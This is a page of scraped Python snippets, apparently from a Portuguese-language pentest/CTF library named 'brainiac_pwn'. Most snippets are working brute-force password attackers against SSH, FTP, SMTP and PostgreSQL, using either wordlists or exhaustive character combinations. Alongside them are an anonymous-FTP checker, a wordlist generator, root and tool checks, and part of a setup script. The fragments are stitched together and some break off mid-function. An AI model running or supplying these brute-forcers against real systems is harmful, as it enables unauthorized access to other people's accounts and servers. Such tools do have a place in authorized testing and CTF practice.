示例#1
0
 def escrever_encode16(arquivo,escrever):
     with open(arquivo,"w") as ll:
         encode = b16encode(bytes(escrever, 'utf-8'))
         decode = str(encode)[2:-1]
         ll.write(decode)
         Debug.CRITICAL("brainiac_arquivo: " + arquivo)
         Debug.CRITICAL("escrita " + decode)
示例#2
0
    def escrever_encode64(arquivo,escrever):
        with open(arquivo,"w") as ll:
            encode = b64encode(bytes(escrever, 'utf-8'))
            decode = str(encode)[2:-1]
            ll.write(decode)
            Debug.INFO("Arquivo: " + arquivo)

            Debug.CRITICAL("escrita " + decode)
示例#3
0
 def smtp_brute_file(hostname, mail, port, filebr, verbose=""):
     with open(filebr, "r") as fl:
         for passw in fl:
             try:
                 server_ssl = smtplib.SMTP_SSL(hostname, port=port)
                 server_ssl.ehlo()
                 server_ssl.login(mail, passw)
                 Debug.INFO("sucesso => %s %s" % (mail, passw))
             except smtplib.SMTPException:
                 Debug.ERRO("%s %s" % (mail, passw))
示例#4
0
 def check_anonymous_login(hostname):
     try:
         ftp = FTP(hostname)
         ftp.login()
         Debug.CRITICAL("[+]Anonymous => [ok]")
         Debug.CRITICAL("[+]Username  => [anonymous]")
         Debug.CRITICAL("[+]Pass      => [anonymous]")
         ftp.quit()
     except:
         Debug.AVISO("[+]Anonymous off")
         pass
示例#5
0
 def ftp_brute_file(hostname, user, filebr, verbose=""):
     with open(filebr, "r") as fl:
         for passw in fl:
             try:
                 FTP(hostname, user, passw)
             except ftplib.all_errors:
                 Debug.ERRO("[+]senha errada => %s" % passw)
示例#6
0
 def check_gcc_version():
     gcc1 = platform.python_compiler()[4]
     gcc2 = platform.python_compiler()[5]
     gcc3 = platform.python_compiler()[6]
     gcc4 = platform.python_compiler()[7]
     gcc5 = platform.python_compiler()[8]
     version = str(gcc1 + gcc2 + gcc3 + gcc4 + gcc5)
     Debug.INFO("[+]gcc "+version)
示例#7
0
 def baixar(url, saida=""):
     if url == None:
         print("[+]erro não pode ser um argumento vazio")
         pass
     elif saida == None:
         print("local padrão [/tmp]")
         try:
             local = "/tmp"
             arquivo = wget.download(url=url, out=local)
             Debug.AVISO("Diretório => [" + local + "]")
             Debug.AVISO("Arquivo => [" + arquivo + "]")
         except Exception:
             pass
     else:
         local = saida
         arquivo = wget.download(url=url, out=local)
         Debug.AVISO("Diretório => [" + local + "]")
         Debug.AVISO("Arquivo => [" + arquivo + "]")
示例#8
0
 def xor_bytes(b, key):
     if len(b) != len(key):
         Debug.INFO("len(a) != len(b)")
     if len(b) > len(key):
         return Convert.str_para_hex("".join(
             [chr(x ^ y) for (x, y) in zip(b[:len(key)], key)]))
     else:
         return Convert.str_para_hex("".join(
             [chr(x ^ y) for (x, y) in zip(b, key[:len(b)])]))
示例#9
0
 def check_python_version():
     a = sys.version[0]
     b = sys.version[1]
     c = sys.version[2]
     t = a+b+c
     if t == "3.6":
         Debug.INFO("[+]python 3.6")
     else:
         exit(1)
示例#10
0
 def ssh_brute_file(hostname, user, filebr):
     with open(filebr, "r") as fl:
         for passw in fl:
             try:
                 s = paramiko.SSHClient()
                 s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                 s.load_system_host_keys()
                 s.connect(hostname=hostname, username=user, password=passw)
                 Debug.AVISO("[+] Success! %s => %s" % (user, passw))
                 break
             except socket.gaierror:
                 Debug.ERRO("[+]HOST INVALIDO")
                 break
             except paramiko.AuthenticationException:
                 Debug.ERRO("[-] falha:%s => %s" % (user, passw))
             except paramiko.ssh_exception.SSHException:
                 Debug.ERRO("[+]SSHException")
                 pass
示例#11
0
 def check_programas():
     list_cmd = ['msfconsole','john','johnny','iptables']
     for cmd in list_cmd:
         exist = subprocess.call('command -v ' + cmd + '>> /dev/null', shell=True)
         if exist == 0:
             pass
         else:
             print("Efetue a instalação do [%s]"%cmd)
             exit(1)
     Debug.INFO("[+]check programas =>[ok]")
示例#12
0
 def ssh_brute_char(hostname,
                    user,
                    minimo="",
                    maximo="",
                    char="",
                    verbose=""):
     min = minimo
     max = maximo
     chrs = char
     min_length, max_length = int(min), int(max)
     for n in range(min_length, max_length + 1):
         for xs in itertools.product(chrs, repeat=n):
             if verbose == True:
                 passw = ''.join(xs)
                 try:
                     s = paramiko.SSHClient()
                     s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                     s.load_system_host_keys()
                     s.connect(hostname=hostname,
                               username=user,
                               password=passw)
                     Debug.AVISO("[+] Success! %s => %s" % (user, passw))
                     break
                 except socket.gaierror:
                     Debug.ERRO("[+]HOST INVALIDO")
                     break
                 except paramiko.AuthenticationException:
                     Debug.ERRO("[-] falha:%s => %s" % (user, passw))
                 except paramiko.ssh_exception.SSHException:
                     Debug.ERRO("[+]SSHException")
                     pass
             else:
                 passw = ''.join(xs)
                 try:
                     s = paramiko.SSHClient()
                     s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                     s.load_system_host_keys()
                     s.connect(hostname=hostname,
                               username=user,
                               password=passw)
                     Debug.AVISO("[+] Success! %s => %s" % (user, passw))
                     break
                 except socket.gaierror:
                     Debug.ERRO("[+]HOST INVALIDO")
                     break
                 except paramiko.AuthenticationException:
                     Debug.ERRO("[-] falha:%s => %s" % (user, passw))
                 except paramiko.ssh_exception.SSHException:
                     Debug.ERRO("[+]SSHException")
                     pass
示例#13
0
 def smtp_brute_char(hostname,
                     mail,
                     port,
                     minimo,
                     maximo,
                     char,
                     verbose=""):
     min = minimo
     max = maximo
     chrs = char
     min_length, max_length = int(min), int(max)
     for n in range(min_length, max_length + 1):
         for xs in itertools.product(chrs, repeat=n):
             if verbose == True:
                 passw = ''.join(xs)
                 try:
                     server_ssl = smtplib.SMTP_SSL(hostname, port=port)
                     server_ssl.ehlo()
                     server_ssl.login(mail, passw)
                     Debug.INFO("sucesso => %s %s" % (mail, passw))
                 except smtplib.SMTPException:
                     Debug.ERRO("%s %s" % (mail, passw))
示例#14
0
 def ftp_brute_char(hostname, user, minimo, maximo, char, verbose=""):
     min = minimo
     max = maximo
     chrs = char
     min_length, max_length = int(min), int(max)
     for n in range(min_length, max_length + 1):
         for xs in itertools.product(chrs, repeat=n):
             if verbose == True:
                 passw = ''.join(xs)
                 try:
                     FTP(hostname, user, passw)
                 except ftplib.all_errors:
                     Debug.ERRO("[+]senha errada => %s" % passw)
示例#15
0
 def postgresql_brute(dbname, user, host, minimo, maximo, char, verbose=""):
     min = minimo
     max = maximo
     chrs = char
     min_length, max_length = int(min), int(max)
     for n in range(min_length, max_length + 1):
         for xs in itertools.product(chrs, repeat=n):
             if verbose == True:
                 passw = ''.join(xs)
                 try:
                     conn = psycopg2.connect(dbname=dbname,
                                             user=user,
                                             host=host,
                                             password=passw)
                     print(passw)
                 except psycopg2.OperationalError as e:
                     Debug.ERRO("database => db[%s] pass[%s]" %
                                (dbname, passw))
示例#16
0
    def Gera(minimo,maximo,char,nome,verbose=""):
        #validacao
        if minimo == 0:
            print("[erro]=[numero maior que zero ou nada]")
            pass
            exit()
        if maximo == 0:
            print("[erro]=[numero maior que zero ou nada]")
            pass
            exit()
        elif type(maximo) == "str":
            print("[erro]=[]")
            pass
            exit()
        elif type(char) == "init":
            print("[erro]=[]")
            pass
            exit()
        elif type(nome) == "int":
            print("[erro]=[]")
            exit()
            pass
        elif type(minimo) == "str":
            print("[erro]=[]")
            exit()


        word_list_name = nome
        min = minimo
        max = maximo
        chrs = char
        with open(word_list_name, "w") as fl:
            min_length, max_length = int(min), int(max)
            for n in range(min_length, max_length + 1):
                for xs in itertools.product(chrs, repeat=n):
                    dsa = fl.write(''.join(xs) + "\n")
                    if verbose == True:
                        Debug.INFO(''.join(xs))
                    else:
                        pass
示例#17
0
 def check_id():
     if os.getuid() != 0:
         Debug.CRITICAL("[+]rode como root")
         Debug.CRITICAL("sudo python")
         Debug.CRITICAL("import brainiac")
         exit(1)
示例#18
0
    def escrever(arquivo,escrever):
        with open(arquivo,"w") as ll:
            ll.write(escrever)
            Debug.CRITICAL("brainiac_arquivo: " + arquivo)

            Debug.CRITICAL("escrita")
示例#19
0
 def is_connected():
     try:
         socket.create_connection(("www.google.com", 80))
         Debug.INFO("[+]Brainiac_Online")
     except OSError:
         Debug.INFO("[+]Brainiac_off")
示例#20
0
 def ipe():
     a = ipgetter.myip()
     Debug.INFO("[+]ip_interno "+a)
示例#21
0
 def ipi():
     s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
     s.connect(("8.8.8.8", 80))
     a = s.getsockname()[0]
     Debug.INFO("[+]ip_interno " + a)
示例#22
0
            if exist == 0:
                pass
            else:
                print("Efetue a instalação do [%s]"%cmd)
                exit(1)
        Debug.INFO("[+]check programas =>[ok]")

    def check_fil():
        if os.path.exists("brainiac_suport_file") == True:
            pass
        else:
            os.system("python setup_files.py")

if not platform.architecture()[0].startswith('64'):
    """Determina se o interpretador atual do Python é suportado pelo Brainiac"""
    Debug.CRITICAL("[+]Brainiac não suporta  o usod do Python 32 bits. Use uma versão de 64 bits.")
    exit(1)

else:
    check_brainiac.check_id()
    Cores.cores("vermelho","[+]brainiac importado")
    checkvm = Cores.cores("azul",input("ctf_local ou ctf_online ? [ctf_local/ctf_online] =>"))
    if checkvm == "ctf_local":
        check_brainiac.check_vm()
    elif checkvm == "ctf_online":
        check_brainiac.check_files_()
    else:
        print("[+]modo padrao ctf_online")
    Cores.cores("amarelo","[+]use help() para ter mais informações")
    Cores.cores("vermelho","###############################")
    Cores.cores("azul","[+]Iniciando Checking")
示例#23
0
#by:darkcode0x00
from setuptools import setup, find_packages
from distutils.core import setup
from brainiac_libs.brainiac_cores.cores import Cores
from brainiac_libs.brainiac_debug.debug import Debug
import platform
from distutils.command.install import INSTALL_SCHEMES
from distutils.sysconfig import get_python_inc
from distutils.util import convert_path
import os
from os import getuid
if getuid() != 0:
    Debug.CRITICAL("rode como root")
    Debug.AVISO("sudo python setup.py install")
    exit(1)
dist = ["debian","ubuntu","arch"]#linux
for i in dist:
    if i == platform.dist()[0]:
        Cores.cores("vermelho","=> [%s]"%i)
PythonH = os.path.join(get_python_inc(), 'Python.h')
if not os.path.exists(PythonH):
    print(sys.stderr,"You must install the Python development headers!")
    print(sys.stderr,"$ apt-get install python-dev")
    sys.exit(-1)
setup(
  name = 'brainiac_pwn',
  packages=find_packages(),
  install_requires=[
        'beautifulsoup4',
        'requests',
        'filemagic',